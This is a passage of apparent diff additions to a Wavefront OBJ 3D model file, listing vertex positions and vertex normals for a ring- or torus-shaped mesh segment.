+v 0.129562 -0.086571 -0.021733
+v 0.134074 -0.089586 -0.019486
+v 0.137949 -0.092175 -0.015910
+v 0.140922 -0.094161 -0.011250
+v 0.142791 -0.095410 -0.005823
+v 0.149389 -0.086250 -0.000000
+v 0.148725 -0.085867 0.005823
+v 0.146779 -0.084743 0.011250
+v 0.143682 -0.082955 0.015910
+v 0.139647 -0.080625 0.019486
+v 0.134947 -0.077912 0.021733
+v 0.129904 -0.075000 0.022500
+v 0.124861 -0.072088 0.021733
+v 0.120161 -0.069375 0.019486
+v 0.116125 -0.067045 0.015910
+v 0.113029 -0.065257 0.011250
+v 0.111082 -0.064133 0.005823
+v 0.110418 -0.063750 -0.000000
+v 0.111082 -0.064133 -0.005823
+v 0.113029 -0.065257 -0.011250
+v 0.116125 -0.067045 -0.015910
+v 0.120161 -0.069375 -0.019486
+v 0.124861 -0.072088 -0.021733
+v 0.129904 -0.075000 -0.022500
+v 0.134947 -0.077912 -0.021733
+v 0.139647 -0.080625 -0.019486
+v 0.143682 -0.082955 -0.015910
+v 0.146779 -0.084743 -0.011250
+v 0.148725 -0.085867 -0.005823
+v 0.154711 -0.076295 -0.000000
+v 0.154023 -0.075956 0.005823
+v 0.152007 -0.074962 0.011250
+v 0.148800 -0.073380 0.015910
+v 0.144621 -0.071319 0.019486
+v 0.139754 -0.068919 0.021733
+v 0.134531 -0.066343 0.022500
+v 0.129308 -0.063768 0.021733
+v 0.124441 -0.061368 0.019486
+v 0.120262 -0.059307 0.015910
+v 0.117055 -0.057725 0.011250
+v 0.115039 -0.056731 0.005823
+v 0.114351 -0.056392 -0.000000
+v 0.115039 -0.056731 -0.005823
+v 0.117055 -0.057725 -0.011250
+v 0.120262 -0.059307 -0.015910
+v 0.124441 -0.061368 -0.019486
+v 0.129308 -0.063768 -0.021733
+v 0.134531 -0.066343 -0.022500
+v 0.139754 -0.068919 -0.021733
+v 0.144621 -0.071319 -0.019486
+v 0.148800 -0.073380 -0.015910
+v 0.152007 -0.074962 -0.011250
+v 0.154023 -0.075956 -0.005823
+v 0.159369 -0.066013 -0.000000
+v 0.158661 -0.065720 0.005823
+v 0.156584 -0.064859 0.011250
+v 0.153281 -0.063491 0.015910
+v 0.148976 -0.061708 0.019486
+v 0.143962 -0.059631 0.021733
+v 0.138582 -0.057403 0.022500
+v 0.133202 -0.055174 0.021733
+v 0.128188 -0.053097 0.019486
+v 0.123883 -0.051314 0.015910
+v 0.120580 -0.049946 0.011250
+v 0.118503 -0.049086 0.005823
+v 0.117795 -0.048792 -0.000000
+v 0.118503 -0.049086 -0.005823
+v 0.120580 -0.049946 -0.011250
+v 0.123883 -0.051314 -0.015910
+v 0.128188 -0.053097 -0.019486
+v 0.133202 -0.055174 -0.021733
+v 0.138582 -0.057403 -0.022500
+v 0.143962 -0.059631 -0.021733
+v 0.148976 -0.061708 -0.019486
+v 0.153281 -0.063491 -0.015910
+v 0.156584 -0.064859 -0.011250
+v 0.158661 -0.065720 -0.005823
+v 0.163345 -0.055448 -0.000000
+v 0.162619 -0.055202 0.005823
+v 0.160491 -0.054479 0.011250
+v 0.157105 -0.053330 0.015910
+v 0.152692 -0.051832 0.019486
+v 0.147554 -0.050088 0.021733
+v 0.142040 -0.048216 0.022500
+v 0.136525 -0.046344 0.021733
+v 0.131387 -0.044600 0.019486
+v 0.126974 -0.043102 0.015910
+v 0.123588 -0.041953 0.011250
+v 0.121460 -0.041230 0.005823
+v 0.120734 -0.040984 -0.000000
+v 0.121460 -0.041230 -0.005823
+v 0.123588 -0.041953 -0.011250
+v 0.126974 -0.043102 -0.015910
+v 0.131387 -0.044600 -0.019486
+v 0.136525 -0.046344 -0.021733
+v 0.142040 -0.048216 -0.022500
+v 0.147554 -0.050088 -0.021733
+v 0.152692 -0.051832 -0.019486
+v 0.157105 -0.053330 -0.015910
+v 0.160491 -0.054479 -0.011250
+v 0.162619 -0.055202 -0.005823
+v 0.166622 -0.044646 -0.000000
+v 0.165882 -0.044448 0.005823
+v 0.163711 -0.043866 0.011250
+v 0.160257 -0.042941 0.015910
+v 0.155756 -0.041735 0.019486
+v 0.150514 -0.040330 0.021733
+v 0.144889 -0.038823 0.022500
+v 0.139264 -0.037316 0.021733
+v 0.134022 -0.035911 0.019486
+v 0.129521 -0.034705 0.015910
+v 0.126067 -0.033780 0.011250
+v 0.123896 -0.033198 0.005823
+v 0.123156 -0.032999 -0.000000
+v 0.123896 -0.033198 -0.005823
+v 0.126067 -0.033780 -0.011250
+v 0.129521 -0.034705 -0.015910
+v 0.134022 -0.035911 -0.019486
+v 0.139264 -0.037316 -0.021733
+v 0.144889 -0.038823 -0.022500
+v 0.150514 -0.040330 -0.021733
+v 0.155756 -0.041735 -0.019486
+v 0.160257 -0.042941 -0.015910
+v 0.163711 -0.043866 -0.011250
+v 0.165882 -0.044448 -0.005823
+v 0.169185 -0.033653 -0.000000
+v 0.168434 -0.033503 0.005823
+v 0.166229 -0.033065 0.011250
+v 0.162722 -0.032367 0.015910
+v 0.158152 -0.031458 0.019486
+v 0.152829 -0.030400 0.021733
+v 0.147118 -0.029264 0.022500
+v 0.141406 -0.028127 0.021733
+v 0.136084 -0.027069 0.019486
+v 0.131514 -0.026160 0.015910
+v 0.128007 -0.025462 0.011250
+v 0.125802 -0.025024 0.005823
+v 0.125050 -0.024874 -0.000000
+v 0.125802 -0.025024 -0.005823
+v 0.128007 -0.025462 -0.011250
+v 0.131514 -0.026160 -0.015910
+v 0.136084 -0.027069 -0.019486
+v 0.141406 -0.028127 -0.021733
+v 0.147118 -0.029264 -0.022500
+v 0.152829 -0.030400 -0.021733
+v 0.158152 -0.031458 -0.019486
+v 0.162722 -0.032367 -0.015910
+v 0.166229 -0.033065 -0.011250
+v 0.168434 -0.033503 -0.005823
+v 0.171024 -0.022516 -0.000000
+v 0.170264 -0.022416 0.005823
+v 0.168036 -0.022122 0.011250
+v 0.164491 -0.021656 0.015910
+v 0.159871 -0.021047 0.019486
+v 0.154490 -0.020339 0.021733
+v 0.148717 -0.019579 0.022500
+v 0.142943 -0.018819 0.021733
+v 0.137563 -0.018111 0.019486
+v 0.132943 -0.017502 0.015910
+v 0.129398 -0.017036 0.011250
+v 0.127169 -0.016742 0.005823
+v 0.126409 -0.016642 -0.000000
+v 0.127169 -0.016742 -0.005823
+v 0.129398 -0.017036 -0.011250
+v 0.132943 -0.017502 -0.015910
+v 0.137563 -0.018111 -0.019486
+v 0.142943 -0.018819 -0.021733
+v 0.148717 -0.019579 -0.022500
+v 0.154490 -0.020339 -0.021733
+v 0.159871 -0.021047 -0.019486
+v 0.164491 -0.021656 -0.015910
+v 0.168036 -0.022122 -0.011250
+v 0.170264 -0.022416 -0.005823
+v 0.172131 -0.011282 -0.000000
+v 0.171366 -0.011232 0.005823
+v 0.169123 -0.011085 0.011250
+v 0.165555 -0.010851 0.015910
+v 0.160905 -0.010546 0.019486
+v 0.155490 -0.010191 0.021733
+v 0.149679 -0.009810 0.022500
+v 0.143868 -0.009430 0.021733
+v 0.138453 -0.009075 0.019486
+v 0.133803 -0.008770 0.015910
+v 0.130235 -0.008536 0.011250
+v 0.127992 -0.008389 0.005823
+v 0.127227 -0.008339 -0.000000
+v 0.127992 -0.008389 -0.005823
+v 0.130235 -0.008536 -0.011250
+v 0.133803 -0.008770 -0.015910
+v 0.138453 -0.009075 -0.019486
+v 0.143868 -0.009430 -0.021733
+v 0.149679 -0.009810 -0.022500
+v 0.155490 -0.010191 -0.021733
+v 0.160905 -0.010546 -0.019486
+v 0.165555 -0.010851 -0.015910
+v 0.169123 -0.011085 -0.011250
+v 0.171366 -0.011232 -0.005823
+vn 0.990900 0.032400 0.130500
+vn 0.923500 0.030200 0.382500
+vn 0.793100 0.026000 0.608600
+vn 0.608600 0.019900 0.793200
+vn 0.382700 0.012500 0.923800
+vn 0.130500 0.004300 0.991400
+vn -0.130500 -0.004300 0.991400
+vn -0.382700 -0.012500 0.923800
+vn -0.608600 -0.019900 0.793200
+vn -0.793100 -0.026000 0.608600
+vn -0.923500 -0.030200 0.382500
+vn -0.990900 -0.032400 0.130500
+vn -0.990900 -0.032400 -0.130500
+vn -0.923500 -0.030200 -0.382500
+vn -0.793100 -0.026000 -0.608600
+vn -0.608600 -0.019900 -0.793200
+vn -0.382700 -0.012500 -0.923800
+vn -0.130500 -0.004300 -0.991400
+vn 0.130500 0.004300 -0.991400
+vn 0.382700 0.012500 -0.923800
+vn 0.608600 0.019900 -0.793200
+vn 0.793100 0.026000 -0.608600
+vn 0.923500 0.030200 -0.382500
+vn 0.990900 0.032400 -0.130500
+vn 0.986700 0.097200 0.130500
+vn 0.919500 0.090600 0.382500
+vn 0.789700 0.077800 0.608600
+vn 0.606000 0.059700 0.793200
+vn 0.381000 0.037500 0.923800
+vn 0.130000 0.012800 0.991400
+vn -0.130000 -0.012800 0.991400
+vn -0.381000 -0.037500 0.923800
+vn -0.606000 -0.059700 0.793200
+vn -0.789700 -0.077800 0.608600
+vn -0.919500 -0.090600 0.382500
+vn -0.986700 -0.097200 0.130500
+vn -0.986700 -0.097200 -0.130500
+vn -0.919500 -0.090600 -0.382500
+vn -0.789700 -0.077800 -0.608600
+vn -0.606000 -0.059700 -0.793200
+vn -0.381000 -0.037500 -0.923800
+vn -0.130000 -0.012800 -0.991400
+vn 0.130000 0.012800 -0.991400
+vn 0.381000 0.037500 -0.923800
+vn 0.606000 0.059700 -0.793200
+vn 0.789700 0.077800 -0.608600
+vn 0.919500 0.090600 -0.382500
+vn 0.986700 0.097200 -0.130500
+vn 0.978200 0.161500 0.130500
+vn 0.911600 0.150500 0.382500
+vn 0.782900 0.129300 0.608600
+vn 0.600800 0.099200 0.793200
+vn 0.377700 0.062400 0.923800
+vn 0.128900 0.021300 0.991400
+vn -0.128900 -0.021300 0.991400
+vn -0.377700 -0.062400 0.923800
+vn -0.600800 -0.099200 0.793200
+vn -0.782900 -0.129300 0.608600
+vn -0.911600 -0.150500 0.382500
+vn -0.978200 -0.161500 0.130500
+vn -0.978200 -0.161500 -0.130500
+vn -0.911600 -0.150500 -0.382500
+vn -0.782900 -0.129300 -0.608600
+vn -0.600800 -0.099200 -0.793200
+vn -0.377700 -0.062400 -0.923800
+vn -0.128900 -0.021300 -0.991400
+vn 0.128900 0.021300 -0.991400
+vn 0.377700 0.062400 -0.923800
+vn 0.600800 0.099200 -0.793200
+vn 0.782900 0.129300 -0.608600
+vn 0.911600 0.150500 -0.382500
+vn 0.978200 0.161500 -0.130500
+vn 0.965600 0.225100 0.130500
+vn 0.899800 0.209800 0.382500
+vn 0.772800 0.180200 0.608600
+vn 0.593100 0.138300 0.793200
+vn 0.372900 0.086900 0.923800
+vn 0.127200 0.029700 0.991400
+vn -0.127200 -0.029700 0.991400
+vn -0.372900 -0.086900 0.923800
+vn -0.593100 -0.138300 0.793200
+vn -0.772800 -0.180200 0.608600
+vn -0.899800 -0.209800 0.382500
+vn -0.965600 -0.225100 0.130500
+vn -0.965600 -0.225100 -0.130500
+vn -0.899800 -0.209800 -0.382500
+vn -0.772800 -0.180200 -0.608600
+vn -0.593100 -0.138300 -0.793200
+vn -0.372900 -0.086900 -0.923800
+vn -0.127200 -0.029700 -0.991400
+vn 0.127200 0.029700 -0.991400
+vn 0.372900 0.086900 -0.923800
+vn 0.593100 0.138300 -0.793200
+vn 0.772800 0.180200 -0.608600
+vn 0.899800 0.209800 -0.382500
+vn 0.965600 0.225100 -0.130500
+vn 0.948800 0.287800 0.130500
+vn 0.884200 0.268200 0.382500
+vn 0.759300 0.230300 0.608600
+vn 0.582700 0.176800 0.793200
+vn 0.366400 0.111100 0.923800
+vn 0.125000 0.037900 0.991400
+vn -0.125000 -0.037900 0.991400
+vn -0.366400 -0.111100 0.923800
+vn -0.582700 -0.176800 0.793200
+vn -0.759300 -0.230300 0.608600
+vn -0.884200 -0.268200 0.382500
+vn -0.948800 -0.287800 0.130500
+vn -0.948800 -0.287800 -0.130500
+vn -0.884200 -0.268200 -0.382500
+vn -0.759300 -0.230300 -0.608600
+vn -0.582700 -0.176800 -0.793200
+vn -0.366400 -0.111100 -0.923800
+vn -0.125000 -0.037900 -0.991400
+vn 0.125000 0.037900 -0.991400
+vn 0.366400 0.111100 -0.923800
+vn 0.582700 0.176800 -0.793200
+vn 0.759300 0.230300 -0.608600
+vn 0.884200 0.268200 -0.382500
+vn 0.948800 0.287800 -0.130500
+vn 0.927900 0.349200 0.130500
+vn 0.864700 0.325500 0.382500
+vn 0.742700 0.279500 0.608600
+vn 0.569900 0.214500 0.793200
+vn 0.358300 0.134900 0.923800
+vn 0.122200 0.046000 0.991400
+vn -0.122200 -0.046000 0.991400
+vn -0.358300 -0.134900 0.923800
+vn -0.569900 -0.214500 0.793200
+vn -0.742700 -0.279500 0.608600
+vn -0.864700 -0.325500 0.382500
+vn -0.927900 -0.349200 0.130500
+vn -0.927900 -0.349200 -0.130500
+vn -0.864700 -0.325500 -0.382500
+vn -0.742700 -0.279500 -0.608600
+vn -0.569900 -0.214500 -0.793200
+vn -0.358300 -0.134900 -0.923800
+vn -0.122200 -0.046000 -0.991400
+vn 0.122200 0.046000 -0.991400
+vn 0.358300 0.134900 -0.923800
+vn 0.569900 0.214500 -0.793200
+vn 0.742700 0.279500 -0.608600
+vn 0.864700 0.325500 -0.382500
+vn 0.927900 0.349200 -0.130500
+vn 0.903100 0.409200 0.130500
+vn 0.841600 0.381300 0.382500
+vn 0.722800 0.327500 0.608600
+vn 0.554700 0.251300 0.793200
+vn 0.348700 0.158000 0.923800
+vn 0.119000 0.053900 0.991400
+vn -0.119000 -0.053900 0.991400
+vn -0.348700 -0.158000 0.923800
+vn -0.554700 -0.251300 0.793200
+vn -0.722800 -0.327500 0.608600
+vn -0.841600 -0.381300 0.382500
+vn -0.903100 -0.409200 0.130500
+vn -0.903100 -0.409200 -0.130500
+vn -0.841600 -0.381300 -0.382500
+vn -0.722800 -0.327500 -0.608600
+vn -0.554700 -0.251300 -0.793200
+vn -0.348700 -0.158000 -0.923800
+vn -0.119000 -0.053900 -0.991400
+vn 0.119000 0.053900 -0.991400
+vn 0.348700 0.158000 -0.923800
+vn 0.554700 0.251300 -0.793200
+vn 0.722800 0.327500 -0.608600
+vn 0.841600 0.381300 -0.382500
+vn 0.903100 0.409200 -0.130500
+vn 0.874400 0.467400 0.130500
+vn 0.814900 0.435600 0.382500
+vn 0.699800 0.374100 0.608600
+vn 0.537100 0.287100 0.793200
+vn 0.337700 0.180500 0.923800
+vn 0.115200 0.061600 0.991400
+vn -0.115200 -0.061600 0.991400
+vn -0.337700 -0.180500 0.923800
+vn -0.537100 -0.287100 0.793200
+vn -0.699800 -0.374100 0.608600
+vn -0.814900 -0.435500 0.382500
+vn -0.874400 -0.467400 0.130500
+vn -0.874400 -0.467400 -0.130500
+vn -0.814900 -0.435500 -0.382500
+vn -0.699800 -0.374100 -0.608600
+vn -0.537100 -0.287100 -0.793200
+vn -0.337700 -0.180500 -0.923800
+vn -0.115200 -0.061600 -0.991400
+vn 0.115200 0.061600 -0.991400
+vn 0.337700 0.180500 -0.923800
+vn 0.537100 0.287100 -0.793200
+vn 0.699800 0.374100 -0.608600
+vn 0.814900 0.435500 -0.382500
+vn 0.874400 0.467400 -0.130500
+vn 0.841900 0.523600 0.130500
+vn 0.784600 0.487900 0.382500
+vn 0.673800 0.419000 0.608600
+vn 0.517100 0.321600 0.793200
+vn 0.325100 0.202200 0.923800
+vn 0.110900 0.069000 0.991400
+vn -0.110900 -0.069000 0.991400
+vn -0.325100 -0.202200 0.923800
+vn -0.517100 -0.321600 0.793200
+vn -0.673900 -0.419000 0.608600
+vn -0.784600 -0.487900 0.382500
+vn -0.841900 -0.523600 0.130500
+vn -0.841900 -0.523600 -0.130500
+vn -0.784600 -0.487900 -0.382500
+vn -0.673900 -0.419000 -0.608600
+vn -0.517100 -0.321600 -0.793200
+vn -0.325100 -0.202200 -0.923800
+vn -0.110900 -0.069000 -0.991400
+vn 0.110900 0.069000 -0.991400
+vn 0.325100 0.202200 -0.923800
+vn 0.517100 0.321600 -0.793200
+vn 0.673800 0.419000 -0.608600
+vn 0.784600 0.487900 -0.382500
+vn 0.841900 0.523600 -0.130500
+vn 0.805900 0.577500 0.130500
+vn 0.751000 0.538200 0.382500
+vn 0.645000 0.462200 0.608600
+vn 0.495000 0.354700 0.793200
+vn 0.311200 0.223000 0.923800
+vn 0.106200 0.076100 0.991400
+vn -0.106200 -0.076100 0.991400
+vn -0.311200 -0.223000 0.923800
+vn -0.495000 -0.354700 0.793200
+vn -0.645000 -0.462200 0.608600
+vn -0.751000 -0.538200 0.382500
+vn -0.805900 -0.577500 0.130500
+vn -0.805900 -0.577500 -0.130500
+vn -0.751000 -0.538200 -0.382500
+vn -0.645000 -0.462200 -0.608600
+vn -0.495000 -0.354700 -0.793200
+vn -0.311200 -0.223000 -0.923800
+vn -0.106200 -0.076100 -0.991400
+vn 0.106200 0.076100 -0.991400
+vn 0.311200 0.223000 -0.923800
+vn 0.495000 0.354700 -0.793200
+vn 0.645000 0.462200 -0.608600
+vn 0.751000 0.538200 -0.382500
+vn 0.805900 0.577500 -0.130500
+vn 0.766400 0.629000 0.130500
+vn 0.714200 0.586100 0.382500
+vn 0.613400 0.503400 0.608600
+vn 0.470700 0.386300 0.793200
+vn 0.296000 0.242900 0.923800
+vn 0.101000 0.082800 0.991400
+vn -0.101000 -0.082800 0.991400
+vn -0.296000 -0.242900 0.923800
+vn -0.470700 -0.386300 0.793200
+vn -0.613400 -0.503400 0.608600
+vn -0.714200 -0.586100 0.382500
+vn -0.766400 -0.629000 0.130500
+vn -0.766400 -0.629000 -0.130500
+vn -0.714200 -0.586100 -0.382500
+vn -0.613400 -0.503400 -0.608600
+vn -0.470700 -0.386300 -0.793200
+vn -0.296000 -0.242900 -0.923800
+vn -0.101000 -0.082800 -0.991400
+vn 0.101000 0.082800 -0.991400
+vn 0.296000 0.242900 -0.923800
+vn 0.470700 0.386300 -0.793200
+vn 0.613400 0.503400 -0.608600
+vn 0.714200 0.586100 -0.382500
+vn 0.766400 0.629000 -0.130500
+vn 0.723600 0.677800 0.130500
+vn 0.674400 0.631600 0.382500
+vn 0.579200 0.542400 0.608600
+vn 0.444500 0.416300 0.793200
+vn 0.279400 0.261700 0.923800
+vn 0.095300 0.089300 0.991400
+vn -0.095300 -0.089300 0.991400
+vn -0.279400 -0.261700 0.923800
+vn -0.444500 -0.416300 0.793200
+vn -0.579200 -0.542400 0.608600
+vn -0.674400 -0.631600 0.382500
+vn -0.723600 -0.677700 0.130500
+vn -0.723600 -0.677800 -0.130500
+vn -0.674400 -0.631600 -0.382500
+vn -0.579200 -0.542400 -0.608600
+vn -0.444500 -0.416300 -0.793200
+vn -0.279400 -0.261700 -0.923800
+vn -0.095300 -0.089300 -0.991400
+vn 0.095300 0.089300 -0.991400
+vn 0.279400 0.261700 -0.923800
+vn 0.444500 0.416300 -0.793200
+vn 0.579200 0.542400 -0.608600
+vn 0.674400 0.631600 -0.382500
+vn 0.723600 0.677800 -0.130500
+vn 0.677800 0.723600 0.130500
+vn 0.631600 0.674400 0.382500
+vn 0.542400 0.579200 0.608600
+vn 0.416300 0.444500 0.793200
+vn 0.261700 0.279400 0.923800
+vn 0.089300 0.095300 0.991400
+vn -0.089300 -0.095300 0.991400
+vn -0.261700 -0.279400 0.923800
+vn -0.416300 -0.444500 0.793200
+vn -0.542400 -0.579200 0.608600
+vn -0.631600 -0.674400 0.382500
+vn -0.677800 -0.723600 0.130500
+vn -0.677800 -0.723600 -0.130500
+vn -0.631600 -0.674400 -0.382500
+vn -0.542400 -0.579200 -0.608600
+vn -0.416300 -0.444500 -0.793200
+vn -0.261700 -0.279400 -0.923800
+vn -0.089300 -0.095300 -0.991400
+vn 0.089300 0.095300 -0.991400
+vn 0.261700 0.279400 -0.923800
+vn 0.416300 0.444500 -0.793200
+vn 0.542400 0.579200 -0.608600
+vn 0.631600 0.674400 -0.382500
+vn 0.677800 0.723600 -0.130500
+vn 0.629000 0.766400 0.130500
+vn 0.586100 0.714200 0.382500
+vn 0.503400 0.613400 0.608600
+vn 0.386300 0.470700 0.793200
+vn 0.242900 0.296000 0.923800
+vn 0.082800 0.101000 0.991400
+vn -0.082800 -0.101000 0.991400
+vn -0.242900 -0.296000 0.923800
+vn -0.386300 -0.470700 0.793200
+vn -0.503400 -0.613400 0.608600
+vn -0.586100 -0.714200 0.382500
+vn -0.629000 -0.766400 0.130500
+vn -0.629000 -0.766400 -0.130500
+vn -0.586100 -0.714200 -0.382500
+vn -0.503400 -0.613400 -0.608600
+vn -0.386300 -0.470700 -0.793200
+vn -0.242900 -0.296000 -0.923800
+vn -0.082800 -0.101000 -0.991400
+vn 0.082800 0.101000 -0.991400
+vn 0.242900 0.296000 -0.923800
+vn 0.386300 0.470700 -0.793200
+vn 0.503400 0.613400 -0.608600
+vn 0.586100 0.714200 -0.382500
+vn 0.629000 0.766400 -0.130500
+vn 0.577500 0.805900 0.130500
+vn 0.538200 0.751000 0.382500
+vn 0.462200 0.645000 0.608600
+vn 0.354700 0.495000 0.793200
+vn 0.223000 0.311200 0.923800
+vn 0.076100 0.106200 0.991400
+vn -0.076100 -0.106200 0.991400
+vn -0.223000 -0.311200 0.923800
+vn -0.354700 -0.495000 0.793200
+vn -0.462200 -0.645000 0.608600
+vn -0.538200 -0.751000 0.382500
+vn -0.577500 -0.805900 0.130500
+vn -0.577500 -0.805900 -0.130500
+vn -0.538200 -0.751000 -0.382500
+vn -0.462200 -0.645000 -0.608600
+vn -0.354700 -0.495000 -0.793200
+vn -0.223000 -0.311200 -0.923800
+vn -0.076100 -0.106200 -0.991400
+vn 0.076100 0.106200 -0.991400
+vn 0.223000 0.311200 -0.923800
+vn 0.354700 0.495000 -0.793200
+vn 0.462200 0.645000 -0.608600
+vn 0.538200 0.751000 -0.382500
+vn 0.577500 0.805900 -0.130500
+vn 0.523600 0.841900 0.130500
+vn 0.487900 0.784600 0.382500
+vn 0.419000 0.673800 0.608600
+vn 0.321600 0.517100 0.793200
+vn 0.202200 0.325100 0.923800
+vn 0.069000 0.110900 0.991400
+vn -0.069000 -0.110900 0.991400
+vn -0.202200 -0.325100 0.923800
+vn -0.321600 -0.517100 0.793200
+vn -0.419000 -0.673900 0.608600
+vn -0.487900 -0.784600 0.382500
+vn -0.523600 -0.841900 0.130500
+vn -0.523600 -0.841900 -0.130500
+vn -0.487900 -0.784600 -0.382500
+vn -0.419000 -0.673900 -0.608600
+vn -0.321600 -0.517100 -0.793200
+vn -0.202200 -0.325100 -0.923800
+vn -0.069000 -0.110900 -0.991400
+vn 0.069000 0.110900 -0.991400
+vn 0.202200 0.325100 -0.923800
+vn 0.321600 0.517100 -0.793200
+vn 0.419000 0.673900 -0.608600
+vn 0.487900 0.784600 -0.382500
+vn 0.523600 0.841900 -0.130500
+vn 0.467400 0.874400 0.130500
+vn 0.435500 0.814900 0.382500
+vn 0.374100 0.699800 0.608600
+vn 0.287100 0.537100 0.793200
+vn 0.180500 0.337700 0.923800
+vn 0.061600 0.115200 0.991400
+vn -0.061600 -0.115200 0.991400
+vn -0.180500 -0.337700 0.923800
+vn -0.287100 -0.537100 0.793200
+vn -0.374100 -0.699800 0.608600
+vn -0.435500 -0.814900 0.382500
+vn -0.467400 -0.874400 0.130500
+vn -0.467400 -0.874400 -0.130500
+vn -0.435500 -0.814900 -0.382500
+vn -0.374100 -0.699800 -0.608600
+vn -0.287100 -0.537100 -0.793200
+vn -0.180500 -0.337700 -0.923800
+vn -0.061600 -0.115200 -0.991400
+vn 0.061600 0.115200 -0.991400
+vn 0.180500 0.337700 -0.923800
+vn 0.287100 0.537100 -0.793200
+vn 0.374100 0.699800 -0.608600
+vn 0.435500 0.814900 -0.382500
+vn 0.467400 0.874400 -0.130500
+vn 0.409200 0.903100 0.130500
+vn 0.381300 0.841600 0.382500
+vn 0.327500 0.722800 0.608600
+vn 0.251300 0.554700 0.793200
+vn 0.158000 0.348700 0.923800
+vn 0.053900 0.119000 0.991400
+vn -0.053900 -0.119000 0.991400
+vn -0.158000 -0.348700 0.923800
+vn -0.251300 -0.554700 0.793200
+vn -0.327500 -0.722800 0.608600
+vn -0.381300 -0.841600 0.382500
+vn -0.409200 -0.903100 0.130500
+vn -0.409200 -0.903100 -0.130500
+vn -0.381300 -0.841600 -0.382500
+vn -0.327500 -0.722800 -0.608600
+vn -0.251300 -0.554700 -0.793200
+vn -0.158000 -0.348700 -0.923800
+vn -0.053900 -0.119000 -0.991400
+vn 0.053900 0.119000 -0.991400
+vn 0.158000 0.348700 -0.923800
+vn 0.251300 0.554700 -0.793200
+vn 0.327500 0.722800 -0.608600
+vn 0.381300 0.841600 -0.382500
+vn 0.409200 0.903100 -0.130500
+vn 0.349200 0.927900 0.130500
+vn 0.325500 0.864700 0.382500
+vn 0.279500 0.742600 0.608600
+vn 0.214500 0.569900 0.793200
+vn 0.134900 0.358300 0.923800
+vn 0.046000 0.122200 0.991400
+vn -0.046000 -0.122200 0.991400
+vn -0.134900 -0.358300 0.923800
+vn -0.214500 -0.569900 0.793200
+vn -0.279500 -0.742700 0.608600
+vn -0.325500 -0.864700 0.382500
+vn -0.349200 -0.927900 0.130500
+vn -0.349200 -0.927900 -0.130500
+vn -0.325500 -0.864700 -0.382500
+vn -0.279500 -0.742700 -0.608600
+vn -0.214500 -0.569900 -0.793200
+vn -0.134900 -0.358300 -0.923800
+vn -0.046000 -0.122200 -0.991400
+vn 0.046000 0.122200 -0.991400
+vn 0.134900 0.358300 -0.923800
+vn 0.214500 0.569900 -0.793200
+vn 0.279500 0.742600 -0.608600
+vn 0.325500 0.864700 -0.382500
+vn 0.349200 0.927900 -0.130500
+vn 0.287800 0.948800 0.130500
+vn 0.268200 0.884200 0.382500
+vn 0.230300 0.759300 0.608600
+vn 0.176800 0.582700 0.793200
+vn 0.111100 0.366400 0.923800
+vn 0.037900 0.125000 0.991400
+vn -0.037900 -0.125000 0.991400
+vn -0.111100 -0.366400 0.923800
+vn -0.176800 -0.582700 0.793200
+vn -0.230300 -0.759300 0.608600
+vn -0.268200 -0.884200 0.382500
+vn -0.287800 -0.948800 0.130500
+vn -0.287800 -0.948800 -0.130500
+vn -0.268200 -0.884200 -0.382500
+vn -0.230300 -0.759300 -0.608600
+vn -0.176800 -0.582700 -0.793200
+vn -0.111100 -0.366400 -0.923800
+vn -0.037900 -0.125000 -0.991400
+vn 0.037900 0.125000 -0.991400
+vn 0.111100 0.366400 -0.923800
+vn 0.176800 0.582700 -0.793200
+vn 0.230300 0.759300 -0.608600
+vn 0.268200 0.884200 -0.382500
+vn 0.287800 0.948800 -0.130500
+vn 0.225100 0.965600 0.130500
+vn 0.209800 0.899800 0.382500
+vn 0.180200 0.772800 0.608600
+vn 0.138300 0.593100 0.793200
+vn 0.086900 0.372900 0.923800
+vn 0.029700 0.127200 0.991400
+vn -0.029700 -0.127200 0.991400
+vn -0.086900 -0.372900 0.923800
+vn -0.138300 -0.593100 0.793200
+vn -0.180200 -0.772800 0.608600
+vn -0.209800 -0.899800 0.382500
+vn -0.225100 -0.965600 0.130500
+vn -0.225100 -0.965600 -0.130500
+vn -0.209800 -0.899800 -0.382500
+vn -0.180200 -0.772800 -0.608600
+vn -0.138300 -0.593100 -0.793200
+vn -0.086900 -0.372900 -0.923800
+vn -0.029700 -0.127200 -0.991400
+vn 0.029700 0.127200 -0.991400
+vn 0.086900 0.372900 -0.923800
+vn 0.138300 0.593100 -0.793200
+vn 0.180200 0.772800 -0.608600
+vn 0.209800 0.899800 -0.382500
+vn 0.225100 0.965600 -0.130500
+vn 0.161500 0.978200 0.130500
+vn 0.150500 0.911600 0.382500
+vn 0.129300 0.782900 0.608600
+vn 0.099200 0.600800 0.793200
+vn 0.062400 0.377700 0.923800
+vn 0.021300 0.128900 0.991400
+vn -0.021300 -0.128900 0.991400
+vn -0.062400 -0.377700 0.923800
+vn -0.099200 -0.600800 0.793200
+vn -0.129300 -0.782900 0.608600
+vn -0.150500 -0.911600 0.382500
+vn -0.161500 -0.978200 0.130500
+vn -0.161500 -0.978200 -0.130500
+vn -0.150500 -0.911600 -0.382500
+vn -0.129300 -0.782900 -0.608600
+vn -0.099200 -0.600800 -0.793200
+vn -0.062400 -0.377700 -0.923800
+vn -0.021300 -0.128900 -0.991400
+vn 0.021300 0.128900 -0.991400
+vn 0.062400 0.377700 -0.923800
+vn 0.099200 0.600800 -0.793200
+vn 0.129300 0.782900 -0.608600
+vn 0.150500 0.911600 -0.382500
+vn 0.161500 0.978200 -0.130500
+vn 0.097200 0.986700 0.130500
+vn 0.090600 0.919500 0.382500
+vn 0.077800 0.789700 0.608600
+vn 0.059700 0.606000 0.793200
+vn 0.037500 0.381000 0.923800
+vn 0.012800 0.130000 0.991400
+vn -0.012800 -0.130000 0.991400
+vn -0.037500 -0.381000 0.923800
+vn -0.059700 -0.606000 0.793200
+vn -0.077800 -0.789700 0.608600
+vn -0.090600 -0.919500 0.382500
+vn -0.097200 -0.986700 0.130500
+vn -0.097200 -0.986700 -0.130500
+vn -0.090600 -0.919500 -0.382500
+vn -0.077800 -0.789700 -0.608600
+vn -0.059700 -0.606000 -0.793200
+vn -0.037500 -0.381000 -0.923800
+vn -0.012800 -0.130000 -0.991400
+vn 0.012800 0.130000 -0.991400
+vn 0.037500 0.381000 -0.923800
+vn 0.059700 0.606000 -0.793200
+vn 0.077800 0.789700 -0.608600
+vn 0.090600 0.919500 -0.382500
+vn 0.097200 0.986700 -0.130500
+vn 0.032400 0.990900 0.130500
+vn 0.030200 0.923500 0.382500
+vn 0.026000 0.793100 0.608600
+vn 0.019900 0.608600 0.793200
+vn 0.012500 0.382700 0.923800
